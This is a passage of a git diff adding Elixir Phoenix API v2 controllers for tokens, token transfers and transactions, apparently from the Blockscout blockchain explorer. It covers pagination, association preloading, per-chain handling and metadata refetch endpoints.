|> Chain.flat_1155_batch_token_transfers(Decimal.new(token_id)) + |> Chain.paginate_1155_batch_token_transfers(paging_options) + + {token_transfers, next_page} = split_list_by_page(results) + + next_page_params = + next_page + |> token_transfers_next_page_params(token_transfers, params) + + conn + |> put_status(200) + |> put_view(TransactionView) + |> render(:token_transfers, %{ + token_transfers: token_transfers |> maybe_preload_ens() |> maybe_preload_metadata(), + next_page_params: next_page_params + }) + end + end + + def holders_by_instance(conn, %{"address_hash_param" => address_hash_string, "token_id" => token_id_string} = params) do + with {:format, {:ok, address_hash}} <- {:format, Chain.string_to_address_hash(address_hash_string)}, + {:ok, false} <- AccessHelper.restricted_access?(address_hash_string, params), + {:not_found, {:ok, token}} <- {:not_found, Chain.token_from_address_hash(address_hash, @api_true)}, + {:not_found, false} <- {:not_found, Chain.erc_20_token?(token)}, + {:format, {token_id, ""}} <- {:format, Integer.parse(token_id_string)} do + paging_options = paging_options(params) + + results = + Chain.fetch_token_holders_from_token_hash_and_token_id( + address_hash, + token_id, + Keyword.merge(paging_options, @api_true) + ) + + {token_holders, next_page} = split_list_by_page(results) + + next_page_params = + next_page + |> next_page_params(token_holders, params) + + conn + |> put_status(200) + |> render(:token_holders, %{ + token_balances: token_holders |> maybe_preload_ens() |> maybe_preload_metadata(), + next_page_params: next_page_params + }) + end + end + + def transfers_count_by_instance( + conn, + %{"address_hash_param" => address_hash_string, "token_id" => token_id_string} = params + ) do + with {:format, {:ok, address_hash}} <- {:format, Chain.string_to_address_hash(address_hash_string)}, + {:ok, false} <- AccessHelper.restricted_access?(address_hash_string, params), + {:not_found, {:ok, token}} <- {:not_found, Chain.token_from_address_hash(address_hash, @api_true)}, + {:not_found, false} <- {:not_found, Chain.erc_20_token?(token)}, + {:format, {token_id, ""}} <- {:format, Integer.parse(token_id_string)} do + conn + |> put_status(200) + |> json(%{ + transfers_count: Chain.count_token_transfers_from_token_hash_and_token_id(address_hash, token_id, @api_true) + }) + end + end + + def tokens_list(conn, params) do + filter = params["q"] + + options = + params + |> paging_options() + |> Keyword.update(:paging_options, default_paging_options(), fn %PagingOptions{ + page_size: page_size + } = paging_options -> + maybe_parsed_limit = Helper.parse_integer(params["limit"]) + %PagingOptions{paging_options | page_size: min(page_size, maybe_parsed_limit && abs(maybe_parsed_limit))} + end) + |> Keyword.merge(token_transfers_types_options(params)) + |> Keyword.merge(tokens_sorting(params)) + |> Keyword.merge(@api_true) + |> fetch_scam_token_toggle(conn) + + {tokens, next_page} = filter |> Token.list_top(options) |> split_list_by_page() + + next_page_params = next_page |> next_page_params(tokens, params) + + conn + |> put_status(200) + |> render(:tokens, %{tokens: tokens, next_page_params: next_page_params}) + end + + def bridged_tokens_list(conn, params) do + filter = params["q"] + + options = + params + |> paging_options() + |> Keyword.merge(chain_ids_filter_options(params)) + |> Keyword.merge(tokens_sorting(params)) + |> Keyword.merge(@api_true) + + {tokens, next_page} = filter |> BridgedToken.list_top_bridged_tokens(options) |> split_list_by_page() + + next_page_params = next_page |> next_page_params(tokens, params) + + conn + |> put_status(200) + |> render(:bridged_tokens, %{tokens: tokens, next_page_params: next_page_params}) + end + + def refetch_metadata( + conn, + params + ) do + address_hash_string = params["address_hash_param"] + token_id_string = params["token_id"] + + with {:format, {:ok, address_hash}} <- {:format, Chain.string_to_address_hash(address_hash_string)}, + {:ok, false} <- AccessHelper.restricted_access?(address_hash_string, params), + {:not_found, {:ok, token}} <- {:not_found, Chain.token_from_address_hash(address_hash, @api_true)}, + {:not_found, false} <- {:not_found, Chain.erc_20_token?(token)}, + {:format, {token_id, ""}} <- {:format, Integer.parse(token_id_string)}, + {:ok, token_instance} <- + Instance.nft_instance_by_token_id_and_token_address(token_id, address_hash, @api_true) do + token_instance_with_token = + token_instance + |> put_token_to_instance(token) + + conn + |> AccessHelper.conn_to_ip_string() + |> TokenInstanceMetadataRefetchOnDemand.trigger_refetch(token_instance_with_token) + + conn + |> put_status(200) + |> json(%{message: "OK"}) + end + end + + def trigger_nft_collection_metadata_refetch( + conn, + params + ) do + address_hash_string = params["address_hash_param"] + ip = AccessHelper.conn_to_ip_string(conn) + + with {:sensitive_endpoints_api_key, api_key} when not is_nil(api_key) <- + {:sensitive_endpoints_api_key, Application.get_env(:block_scout_web, :sensitive_endpoints_api_key)}, + {:api_key, ^api_key} <- {:api_key, params["api_key"]}, + {:format, {:ok, address_hash}} <- {:format, Chain.string_to_address_hash(address_hash_string)}, + {:ok, false} <- AccessHelper.restricted_access?(address_hash_string, params), + {:not_found, {:ok, token}} <- {:not_found, Chain.token_from_address_hash(address_hash, @api_true)}, + {:not_found, false} <- {:not_found, Chain.erc_20_token?(token)} do + NFTCollectionMetadataRefetchOnDemand.trigger_refetch(ip, token) + + conn + |> put_status(200) + |> json(%{message: "OK"}) + end + end + + defp put_owner(token_instances, holder_address, holder_address_hash), + do: + Enum.map(token_instances, fn token_instance -> + %Instance{token_instance | owner: holder_address, owner_address_hash: holder_address_hash} + end) + + @spec put_token_to_instance(Instance.t(), Token.t()) :: Instance.t() + defp put_token_to_instance( + token_instance, + token + ) do + %Instance{token_instance | token: token} + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/token_transfer_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/token_transfer_controller.ex new file mode 100644 index 000000000000..8e57ab2d1b08 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/token_transfer_controller.ex @@ -0,0 +1,81 @@ +defmodule BlockScoutWeb.API.V2.TokenTransferController do + use BlockScoutWeb, :controller + alias Explorer.{Chain, Helper, PagingOptions} + alias Explorer.Chain.{TokenTransfer, Transaction} + + import BlockScoutWeb.Chain, + only: [ + split_list_by_page: 1, + paging_options: 1, + token_transfers_next_page_params: 3, + fetch_scam_token_toggle: 2 + ] + + import BlockScoutWeb.PagingHelper, + only: [ + token_transfers_types_options: 1 + ] + + import Explorer.MicroserviceInterfaces.BENS, only: [maybe_preload_ens: 1] + import Explorer.MicroserviceInterfaces.Metadata, only: [maybe_preload_metadata: 1] + import Explorer.PagingOptions, only: [default_paging_options: 0] + + alias Explorer.Chain.Token.Instance + + action_fallback(BlockScoutWeb.API.V2.FallbackController) + + @api_true [api?: true] + + @doc """ + Function to handle GET requests to `/api/v2/token-transfers` endpoint. + """ + @spec token_transfers(Plug.Conn.t(), map()) :: Plug.Conn.t() + def token_transfers(conn, params) do + paging_options = paging_options(params) + + options = + paging_options + |> Keyword.update(:paging_options, default_paging_options(), fn %PagingOptions{ + page_size: page_size + } = paging_options -> + maybe_parsed_limit = Helper.parse_integer(params["limit"]) + %PagingOptions{paging_options | page_size: min(page_size, maybe_parsed_limit && abs(maybe_parsed_limit))} + end) + |> Keyword.merge(token_transfers_types_options(params)) + |> Keyword.merge(@api_true) + |> fetch_scam_token_toggle(conn) + + result = + options + |> TokenTransfer.fetch() + |> Chain.flat_1155_batch_token_transfers() + |> Chain.paginate_1155_batch_token_transfers(paging_options) + |> split_list_by_page() + + {token_transfers, next_page} = result + + transactions = + token_transfers + |> Enum.map(& &1.transaction) + |> Enum.uniq() + + decoded_transactions = Transaction.decode_transactions(transactions, true, @api_true) + + decoded_transactions_map = + transactions + |> Enum.zip(decoded_transactions) + |> Enum.into(%{}, fn {%{hash: hash}, decoded_input} -> {hash, decoded_input} end) + + next_page_params = + next_page |> token_transfers_next_page_params(token_transfers, params) + + conn + |> put_status(200) + |> render(:token_transfers, %{ + token_transfers: + token_transfers |> Instance.preload_nft(@api_true) |> maybe_preload_ens() |> maybe_preload_metadata(), + decoded_transactions_map: decoded_transactions_map, + next_page_params: next_page_params + }) + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/transaction_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/transaction_controller.ex new file mode 100644 index 000000000000..b9b51f1deccd --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/transaction_controller.ex @@ -0,0 +1,794 @@ +defmodule BlockScoutWeb.API.V2.TransactionController do + use BlockScoutWeb, :controller + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] + + import BlockScoutWeb.Account.AuthController, only: [current_user: 1] + + import BlockScoutWeb.Chain, + only: [ + next_page_params: 3, + next_page_params: 4, + put_key_value_to_paging_options: 3, + token_transfers_next_page_params: 3, + paging_options: 1, + split_list_by_page: 1, + fetch_scam_token_toggle: 2 + ] + + import BlockScoutWeb.PagingHelper, + only: [ + paging_options: 2, + filter_options: 2, + method_filter_options: 1, + token_transfers_types_options: 1, + type_filter_options: 1 + ] + + import Explorer.MicroserviceInterfaces.BENS, only: [maybe_preload_ens: 1, maybe_preload_ens_to_transaction: 1] + + import Explorer.MicroserviceInterfaces.Metadata, + only: [maybe_preload_metadata: 1, maybe_preload_metadata_to_transaction: 1] + + import Explorer.Chain.Address.Reputation, only: [reputation_association: 0] + + import Ecto.Query, + only: [ + preload: 2 + ] + + require Logger + + alias BlockScoutWeb.AccessHelper + alias BlockScoutWeb.API.V2.{BlobView, Ethereum.DepositController, Ethereum.DepositView} + alias BlockScoutWeb.MicroserviceInterfaces.TransactionInterpretation, as: TransactionInterpretationService + alias BlockScoutWeb.Models.TransactionStateHelper + alias Explorer.{Chain, PagingOptions, Repo} + alias Explorer.Chain.Arbitrum.Reader.API.Settlement, as: ArbitrumSettlementReader + alias Explorer.Chain.Beacon.Deposit, as: BeaconDeposit + alias Explorer.Chain.Beacon.Reader, as: BeaconReader + alias Explorer.Chain.Cache.Counters.{NewPendingTransactionsCount, Transactions24hCount} + alias Explorer.Chain.{Hash, InternalTransaction, Transaction} + alias Explorer.Chain.Optimism.TransactionBatch, as: OptimismTransactionBatch + alias Explorer.Chain.PolygonZkevm.Reader, as: PolygonZkevmReader + alias Explorer.Chain.Scroll.Reader, as: ScrollReader + alias Explorer.Chain.Token.Instance + alias Explorer.Chain.ZkSync.Reader, as: ZkSyncReader + alias Indexer.Fetcher.OnDemand.FirstTrace, as: FirstTraceOnDemand + alias Indexer.Fetcher.OnDemand.NeonSolanaTransactions, as: NeonSolanaTransactions + + action_fallback(BlockScoutWeb.API.V2.FallbackController) + + case @chain_type do + :ethereum -> + @chain_type_transaction_necessity_by_association %{ + :beacon_blob_transaction => :optional + } + + :celo -> + @chain_type_transaction_necessity_by_association %{ + [gas_token: reputation_association()] => :optional + } + + _ -> + @chain_type_transaction_necessity_by_association %{} + end + + # TODO might be redundant to preload blob fields in some of the endpoints + @transaction_necessity_by_association %{ + :block => :optional, + [ + created_contract_address: [ + :scam_badge, + :names, + :token, + :smart_contract, + proxy_implementations_association() + ] + ] => :optional, + [ + from_address: [ + :scam_badge, + :names, + :smart_contract, + proxy_implementations_association() + ] + ] => :optional, + [ + to_address: [ + :scam_badge, + :names, + :smart_contract, + proxy_implementations_association() + ] + ] => :optional + } + |> Map.merge(@chain_type_transaction_necessity_by_association) + + @token_transfers_necessity_by_association %{ + [from_address: [:scam_badge, :names, :smart_contract, proxy_implementations_association()]] => :optional, + [to_address: [:scam_badge, :names, :smart_contract, proxy_implementations_association()]] => :optional, + [token: reputation_association()] => :optional + } + + @token_transfers_in_transaction_necessity_by_association %{ + [from_address: [:scam_badge, :names, :smart_contract, proxy_implementations_association()]] => :optional, + [to_address: [:scam_badge, :names, :smart_contract, proxy_implementations_association()]] => :optional, + [token: reputation_association()] => :optional + } + + @internal_transaction_necessity_by_association [ + necessity_by_association: %{ + [created_contract_address: [:scam_badge, :names, :smart_contract, proxy_implementations_association()]] => + :optional, + [from_address: [:scam_badge, :names, :smart_contract, proxy_implementations_association()]] => :optional, + [to_address: [:scam_badge, :names, :smart_contract, proxy_implementations_association()]] => :optional + } + ] + + @api_true [api?: true] + + @doc """ + Function to handle GET requests to `/api/v2/transactions/:transaction_hash_param` endpoint. + """ + @spec transaction(Plug.Conn.t(), map()) :: Plug.Conn.t() | {atom(), any()} + def transaction(conn, %{"transaction_hash_param" => transaction_hash_string} = params) do + necessity_by_association_with_actions = + @transaction_necessity_by_association + |> Map.put(:transaction_actions, :optional) + |> Map.put(:signed_authorizations, :optional) + + necessity_by_association = + case Application.get_env(:explorer, :chain_type) do + :polygon_zkevm -> + necessity_by_association_with_actions + |> Map.put(:zkevm_batch, :optional) + |> Map.put(:zkevm_sequence_transaction, :optional) + |> Map.put(:zkevm_verify_transaction, :optional) + + :zksync -> + necessity_by_association_with_actions + |> Map.put(:zksync_batch, :optional) + |> Map.put(:zksync_commit_transaction, :optional) + |> Map.put(:zksync_prove_transaction, :optional) + |> Map.put(:zksync_execute_transaction, :optional) + + :arbitrum -> + necessity_by_association_with_actions + |> Map.put(:arbitrum_batch, :optional) + |> Map.put(:arbitrum_commitment_transaction, :optional) + |> Map.put(:arbitrum_confirmation_transaction, :optional) + |> Map.put(:arbitrum_message_to_l2, :optional) + |> Map.put(:arbitrum_message_from_l2, :optional) + + :suave -> + necessity_by_association_with_actions + |> Map.put(:logs, :optional) + |> Map.put([execution_node: :names], :optional) + |> Map.put([wrapped_to_address: :names], :optional) + + _ -> + necessity_by_association_with_actions + end + + options = + [necessity_by_association: necessity_by_association] + |> Keyword.merge(@api_true) + + with {:ok, transaction, _transaction_hash} <- validate_transaction(transaction_hash_string, params, options), + preloaded <- + Chain.preload_token_transfers( + transaction, + @token_transfers_in_transaction_necessity_by_association, + @api_true |> fetch_scam_token_toggle(conn) + ) do + conn + |> put_status(200) + |> render(:transaction, %{ + transaction: + preloaded + |> Instance.preload_nft(@api_true) + |> maybe_preload_ens_to_transaction() + |> maybe_preload_metadata_to_transaction() + }) + end + end + + @doc """ + Function to handle GET requests to `/api/v2/transactions` endpoint. + """ + @spec transactions(Plug.Conn.t(), map()) :: Plug.Conn.t() + def transactions(conn, params) do + filter_options = filter_options(params, :validated) + + full_options = + [ + necessity_by_association: @transaction_necessity_by_association + ] + |> Keyword.merge(paging_options(params, filter_options)) + |> Keyword.merge(method_filter_options(params)) + |> Keyword.merge(type_filter_options(params)) + |> Keyword.merge(@api_true) + + transactions_plus_one = Chain.recent_transactions(full_options, filter_options) + + {transactions, next_page} = split_list_by_page(transactions_plus_one) + + next_page_params = next_page |> next_page_params(transactions, params) + + conn + |> put_status(200) + |> render(:transactions, %{ + transactions: transactions |> maybe_preload_ens() |> maybe_preload_metadata(), + next_page_params: next_page_params + }) + end + + @doc """ + Function to handle GET requests to `/api/v2/transactions/zkevm-batch/:batch_number` endpoint. + It renders the list of L2 transactions bound to the specified batch. + """ + @spec polygon_zkevm_batch(Plug.Conn.t(), map()) :: Plug.Conn.t() + def polygon_zkevm_batch(conn, %{"batch_number" => batch_number} = _params) do + options = + [necessity_by_association: @transaction_necessity_by_association] + |> Keyword.merge(@api_true) + + transactions = + batch_number + |> PolygonZkevmReader.batch_transactions(@api_true) + |> Enum.map(fn transaction -> transaction.hash end) + |> Chain.hashes_to_transactions(options) + + conn + |> put_status(200) + |> render(:transactions, %{ + transactions: transactions |> maybe_preload_ens() |> maybe_preload_metadata(), + items: true + }) + end + + @doc """ + Function to handle GET requests to `/api/v2/transactions/zksync-batch/:batch_number` endpoint. + It renders the list of L2 transactions bound to the specified batch. + """ + @spec zksync_batch(Plug.Conn.t(), map()) :: Plug.Conn.t() + def zksync_batch(conn, params) do + handle_batch_transactions(conn, params, &ZkSyncReader.batch_transactions/2) + end + + @doc """ + Function to handle GET requests to `/api/v2/transactions/arbitrum-batch/:batch_number` endpoint. + It renders the list of L2 transactions bound to the specified batch. + """ + @spec arbitrum_batch(Plug.Conn.t(), map()) :: Plug.Conn.t() + def arbitrum_batch(conn, params) do + handle_batch_transactions(conn, params, &ArbitrumSettlementReader.batch_transactions/2) + end + + @doc """ + Function to handle GET requests to `/api/v2/transactions/:tx_hash/external-transactions` endpoint. + It renders the list of external transactions that are somehow linked (eg. preceded or initiated by) to the selected one. + The most common use case is for side-chains and rollups. Currently implemented only for Neon chain but could also be extended for + similar cases. + """ + @spec external_transactions(Plug.Conn.t(), %{required(String.t()) => String.t()}) :: Plug.Conn.t() + def external_transactions(conn, %{"transaction_hash_param" => transaction_hash} = _params) do + with {:format, {:ok, hash}} <- {:format, Chain.string_to_full_hash(transaction_hash)} do + case NeonSolanaTransactions.maybe_fetch(hash) do + {:ok, linked_transactions} -> + conn + |> put_status(200) + |> json(linked_transactions) + + {:error, reason} -> + Logger.error("Fetching external linked transactions failed: #{inspect(reason)}") + + conn + |> put_status(500) + |> json(%{ + error: "Unable to fetch external linked transactions", + reason: "#{inspect(reason)}" + }) + end + end + end + + @doc """ + Function to handle GET requests to `/api/v2/transactions/optimism-batch/:batch_number` endpoint. + It renders the list of L2 transactions bound to the specified batch. + """ + @spec optimism_batch(Plug.Conn.t(), map()) :: Plug.Conn.t() + def optimism_batch(conn, %{"batch_number" => batch_number_string} = params) do + {batch_number, ""} = Integer.parse(batch_number_string) + + l2_block_number_from = OptimismTransactionBatch.edge_l2_block_number(batch_number, :min) + l2_block_number_to = OptimismTransactionBatch.edge_l2_block_number(batch_number, :max) + + handle_block_range_transactions(conn, params, l2_block_number_from, l2_block_number_to) + end + + @doc """ + Function to handle GET requests to `/api/v2/transactions/scroll-batch/:batch_number` endpoint. + It renders the list of L2 transactions bound to the specified batch. + """ + @spec scroll_batch(Plug.Conn.t(), map()) :: Plug.Conn.t() + def scroll_batch(conn, %{"batch_number" => batch_number_string} = params) do + {batch_number, ""} = Integer.parse(batch_number_string) + + {l2_block_number_from, l2_block_number_to} = + case ScrollReader.batch(batch_number, @api_true) do + {:ok, batch} -> {batch.l2_block_range.from, batch.l2_block_range.to} + _ -> {nil, nil} + end + + handle_block_range_transactions(conn, params, l2_block_number_from, l2_block_number_to) + end + + # Processes and renders transactions for a specified L2 block range into an HTTP response. + # + # This function retrieves a list of transactions for a given L2 block range and formats + # these transactions into an HTTP response. + # + # ## Parameters + # - `conn`: The connection object. + # - `params`: Parameters from the request. + # - `l2_block_number_from`: Start L2 block number of the range. + # - `l2_block_number_to`: End L2 block number of the range. + # + # ## Returns + # - Updated connection object with the transactions data rendered. + @spec handle_block_range_transactions(Plug.Conn.t(), map(), non_neg_integer(), non_neg_integer()) :: Plug.Conn.t() + defp handle_block_range_transactions(conn, params, l2_block_number_from, l2_block_number_to) do + transactions_plus_one = + if is_nil(l2_block_number_from) or is_nil(l2_block_number_to) do + [] + else + paging_options = paging_options(params)[:paging_options] + + query = + case paging_options do + %PagingOptions{key: {0, 0}, is_index_in_asc_order: false} -> + [] + + _ -> + # here we need to subtract 1 because the block range inside the `fetch_transactions` function + # starts from the `from_block + 1` + Transaction.fetch_transactions(paging_options, l2_block_number_from - 1, l2_block_number_to) + end + + query + |> Chain.join_associations(@transaction_necessity_by_association) + |> preload([{:token_transfers, [:token, :from_address, :to_address]}]) + |> Repo.replica().all() + end + + {transactions, next_page} = split_list_by_page(transactions_plus_one) + next_page_params = next_page |> next_page_params(transactions, params) + + conn + |> put_status(200) + |> render(:transactions, %{ + transactions: transactions |> maybe_preload_ens() |> maybe_preload_metadata(), + next_page_params: next_page_params + }) + end + + # Processes and renders transactions for a specified batch into an HTTP response. + # + # This function retrieves a list of transactions for a given batch using a specified function, + # then extracts the transaction hashes. These hashes are used to retrieve the corresponding + # `Explorer.Chain.Transaction` records according to the given pagination options. It formats + # these transactions into an HTTP response. + # + # ## Parameters + # - `conn`: The connection object. + # - `params`: Parameters from the request, including the batch number. + # - `batch_transactions_fun`: A function to fetch transaction descriptions for the given batch. + # + # ## Returns + # - Updated connection object with the transactions data rendered. + @spec handle_batch_transactions(Plug.Conn.t(), map(), function()) :: Plug.Conn.t() + defp handle_batch_transactions(conn, %{"batch_number" => batch_number} = params, batch_transactions_fun) do + full_options = + [ + necessity_by_association: @transaction_necessity_by_association + ] + |> Keyword.merge(paging_options(params)) + |> Keyword.merge(@api_true) + + # Although a naive way is to implement pagination on the level of `batch_transactions` call, + # it will require to re-implement all pagination logic existing in Explorer.Chain.Transaction + # In order to simplify the code, all transaction are requested from the batch and then + # only subset of them is returned from `hashes_to_transactions`. + transactions_plus_one = + batch_number + |> batch_transactions_fun.(@api_true) + |> Enum.map(fn transaction -> transaction.transaction_hash end) + |> Chain.hashes_to_transactions(full_options) + + {transactions, next_page} = split_list_by_page(transactions_plus_one) + next_page_params = next_page |> next_page_params(transactions, params) + + conn + |> put_status(200) + |> render(:transactions, %{ + transactions: transactions |> maybe_preload_ens() |> maybe_preload_metadata(), + next_page_params: next_page_params + }) + end + + def execution_node(conn, %{"execution_node_hash_param" => execution_node_hash_string} = params) do + with {:format, {:ok, execution_node_hash}} <- {:format, Chain.string_to_address_hash(execution_node_hash_string)} do + full_options = + [necessity_by_association: @transaction_necessity_by_association] + |> Keyword.merge(put_key_value_to_paging_options(paging_options(params), :is_index_in_asc_order, true)) + |> Keyword.merge(@api_true) + + transactions_plus_one = Chain.execution_node_to_transactions(execution_node_hash, full_options) + + {transactions, next_page} = split_list_by_page(transactions_plus_one) + + next_page_params = + next_page + |> next_page_params(transactions, params) + + conn + |> put_status(200) + |> render(:transactions, %{ + transactions: transactions |> maybe_preload_ens() |> maybe_preload_metadata(), + next_page_params: next_page_params + }) + end + end + + @doc """ + Function to handle GET requests to `/api/v2/transactions/:transaction_hash_param/raw-trace` endpoint. + """ + @spec raw_trace(Plug.Conn.t(), map()) :: Plug.Conn.t() | {atom(), any()} + def raw_trace(conn, %{"transaction_hash_param" => transaction_hash_string} = params) do + with {:ok, transaction, _transaction_hash} <- validate_transaction(transaction_hash_string, params) do + if is_nil(transaction.block_number) do + conn + |> put_status(200) + |> render(:raw_trace, %{internal_transactions: []}) + else + FirstTraceOnDemand.maybe_trigger_fetch(transaction, @api_true) + + case Chain.fetch_transaction_raw_traces(transaction) do + {:ok, raw_traces} -> + conn + |> put_status(200) + |> render(:raw_trace, %{raw_traces: raw_traces}) + + {:error, error} -> + Logger.error("Raw trace fetching failed: #{inspect(error)}") + {500, "Error while raw trace fetching"} + end + end + end + end + + @doc """ + Function to handle GET requests to `/api/v2/transactions/:transaction_hash_param/token-transfers` endpoint. + """ + @spec token_transfers(Plug.Conn.t(), map()) :: Plug.Conn.t() | {atom(), any()} + def token_transfers(conn, %{"transaction_hash_param" => transaction_hash_string} = params) do + with {:ok, _transaction, transaction_hash} <- validate_transaction(transaction_hash_string, params) do + paging_options = paging_options(params) + + full_options = + [necessity_by_association: @token_transfers_necessity_by_association] + |> Keyword.merge(paging_options) + |> Keyword.merge(token_transfers_types_options(params)) + |> Keyword.merge(@api_true) + |> fetch_scam_token_toggle(conn) + + results = + transaction_hash + |> Chain.transaction_to_token_transfers(full_options) + |> Chain.flat_1155_batch_token_transfers() + |> Chain.paginate_1155_batch_token_transfers(paging_options) + + {token_transfers, next_page} = split_list_by_page(results) + + next_page_params = + next_page + |> token_transfers_next_page_params(token_transfers, params) + + conn + |> put_status(200) + |> render(:token_transfers, %{ + token_transfers: + token_transfers |> Instance.preload_nft(@api_true) |> maybe_preload_ens() |> maybe_preload_metadata(), + next_page_params: next_page_params + }) + end + end + + @doc """ + Function to handle GET requests to `/api/v2/transactions/:transaction_hash_param/internal-transactions` endpoint. + """ + @spec internal_transactions(Plug.Conn.t(), map()) :: Plug.Conn.t() | {atom(), any()} + def internal_transactions(conn, %{"transaction_hash_param" => transaction_hash_string} = params) do + with {:ok, _transaction, transaction_hash} <- validate_transaction(transaction_hash_string, params) do + full_options = + @internal_transaction_necessity_by_association + |> Keyword.merge(paging_options(params)) + |> Keyword.merge(@api_true) + + internal_transactions_plus_one = + InternalTransaction.transaction_to_internal_transactions(transaction_hash, full_options) + + {internal_transactions, next_page} = split_list_by_page(internal_transactions_plus_one) + + next_page_params = + next_page + |> next_page_params(internal_transactions, params) + + conn + |> put_status(200) + |> render(:internal_transactions, %{ + internal_transactions: internal_transactions |> maybe_preload_ens() |> maybe_preload_metadata(), + next_page_params: next_page_params + }) + end + end + + @doc """ + Function to handle GET requests to `/api/v2/transactions/:transaction_hash_param/logs` endpoint. + """ + @spec logs(Plug.Conn.t(), map()) :: Plug.Conn.t() | {atom(), any()} + def logs(conn, %{"transaction_hash_param" => transaction_hash_string} = params) do + with {:ok, _transaction, transaction_hash} <- validate_transaction(transaction_hash_string, params) do + full_options = + [ + necessity_by_association: %{ + [address: [:names, :smart_contract, proxy_implementations_smart_contracts_association()]] => :optional + } + ] + |> Keyword.merge(paging_options(params)) + |> Keyword.merge(@api_true) + + logs_plus_one = Chain.transaction_to_logs(transaction_hash, full_options) + + {logs, next_page} = split_list_by_page(logs_plus_one) + + next_page_params = + next_page + |> next_page_params(logs, params) + + conn + |> put_status(200) + |> render(:logs, %{ + transaction_hash: transaction_hash, + logs: logs |> maybe_preload_ens() |> maybe_preload_metadata(), + next_page_params: next_page_params + }) + end + end + + @doc """ + Function to handle GET requests to `/api/v2/transactions/:transaction_hash_param/state-changes` endpoint. + """ + @spec state_changes(Plug.Conn.t(), map()) :: Plug.Conn.t() | {atom(), any()} + def state_changes(conn, %{"transaction_hash_param" => transaction_hash_string} = params) do + with {:ok, transaction, _transaction_hash} <- validate_transaction(transaction_hash_string, params) do + state_changes_plus_next_page = + transaction + |> TransactionStateHelper.state_changes( + params + |> paging_options() + |> Keyword.merge(@api_true) + |> Keyword.put(:ip, AccessHelper.conn_to_ip_string(conn)) + ) + + {state_changes, next_page} = split_list_by_page(state_changes_plus_next_page) + + next_page_params = + next_page + |> next_page_params(state_changes, params) + + conn + |> put_status(200) + |> render(:state_changes, %{state_changes: state_changes, next_page_params: next_page_params}) + end + end + + @doc """ + Function to handle GET requests to `/api/v2/transactions/watchlist` endpoint. + """ + @spec watchlist_transactions(Plug.Conn.t(), map()) :: Plug.Conn.t() | {:auth, any()} + def watchlist_transactions(conn, params) do + with {:auth, %{watchlist_id: watchlist_id}} <- {:auth, current_user(conn)} do + full_options = + [ + necessity_by_association: @transaction_necessity_by_association + ] + |> Keyword.merge(paging_options(params, [:validated])) + |> Keyword.merge(@api_true) + + {watchlist_names, transactions_plus_one} = Chain.fetch_watchlist_transactions(watchlist_id, full_options) + + {transactions, next_page} = split_list_by_page(transactions_plus_one) + + next_page_params = next_page |> next_page_params(transactions, params) + + conn + |> put_status(200) + |> render(:transactions_watchlist, %{ + transactions: transactions |> maybe_preload_ens() |> maybe_preload_metadata(), + next_page_params: next_page_params, + watchlist_names: watchlist_names + }) + end + end + + def summary(conn, %{"transaction_hash_param" => transaction_hash_string, "just_request_body" => "true"} = params) do + options = + [ + necessity_by_association: %{ + [from_address: [:scam_badge, :names, :smart_contract, proxy_implementations_association()]] => :optional, + [to_address: [:scam_badge, :names, :smart_contract, proxy_implementations_association()]] => :optional + } + ] + |> Keyword.merge(@api_true) + + with {:transaction_interpreter_enabled, true} <- + {:transaction_interpreter_enabled, TransactionInterpretationService.enabled?()}, + {:ok, transaction, _transaction_hash} <- validate_transaction(transaction_hash_string, params, options) do + conn + |> json(TransactionInterpretationService.get_request_body(transaction)) + end + end + + @doc """ + Function to handle GET requests to `/api/v2/transactions/:transaction_hash_param/summary` endpoint. + """ + @spec summary(Plug.Conn.t(), map()) :: + {:format, :error} + | {:not_found, {:error, :not_found}} + | {:restricted_access, true} + | {:transaction_interpreter_enabled, boolean} + | Plug.Conn.t() + def summary(conn, %{"transaction_hash_param" => transaction_hash_string} = params) do + options = + [ + necessity_by_association: %{ + [from_address: [:scam_badge, :names, :smart_contract, proxy_implementations_association()]] => :optional, + [to_address: [:scam_badge, :names, :smart_contract, proxy_implementations_association()]] => :optional + } + ] + |> Keyword.merge(@api_true) + + with {:transaction_interpreter_enabled, true} <- + {:transaction_interpreter_enabled, TransactionInterpretationService.enabled?()}, + {:ok, transaction, _transaction_hash} <- validate_transaction(transaction_hash_string, params, options) do + {response, code} = + case TransactionInterpretationService.interpret(transaction) do + {:ok, response} -> {response, 200} + {:error, %Jason.DecodeError{}} -> {%{error: "Error while transaction interpreter response decoding"}, 500} + {{:error, error}, code} -> {%{error: error}, code} + end + + conn + |> put_status(code) + |> json(response) + end + end + + @doc """ + Function to handle GET requests to `/api/v2/transactions/:transaction_hash_param/blobs` endpoint. + """ + @spec blobs(Plug.Conn.t(), map()) :: Plug.Conn.t() | {atom(), any()} + def blobs(conn, %{"transaction_hash_param" => transaction_hash_string} = params) do + with {:ok, _transaction, transaction_hash} <- validate_transaction(transaction_hash_string, params) do + full_options = @api_true + + blobs = BeaconReader.transaction_to_blobs(transaction_hash, full_options) + + conn + |> put_status(200) + |> put_view(BlobView) + |> render(:blobs, %{blobs: blobs}) + end + end + + def stats(conn, _params) do + transactions_count = Transactions24hCount.fetch_count(@api_true) + pending_transactions_count = NewPendingTransactionsCount.fetch(@api_true) + transaction_fees_sum = Transactions24hCount.fetch_fee_sum(@api_true) + transaction_fees_avg = Transactions24hCount.fetch_fee_average(@api_true) + + conn + |> put_status(200) + |> render( + :stats, + %{ + transactions_count_24h: transactions_count, + pending_transactions_count: pending_transactions_count, + transaction_fees_sum_24h: transaction_fees_sum, + transaction_fees_avg_24h: transaction_fees_avg + } + ) + end + + @doc """ + Handles `api/v2/transactions/:transaction_hash_param/beacon/deposits` endpoint. + Fetches beacon deposits included in a specific transaction with pagination support. + + This endpoint retrieves all beacon deposits that were included in the + specified transactions. The results include preloaded associations for both the from_address and + withdrawal_address, including scam badges, names, smart contracts, and proxy + implementations. The response is paginated and may include ENS and metadata + enrichment if those services are enabled. + + ## Parameters + - `conn`: The Plug connection. + - `params`: A map containing: + - `"transaction_hash_param"`: The transaction hash to fetch deposits from. + - Optional pagination parameter: + - `"index"`: non-negative integer, the starting index for pagination. + + ## Returns + - `{:error, :not_found}` - If the transaction is not found. + - `{:error, {:invalid, :hash}}` - If the transaction hash format is invalid. + 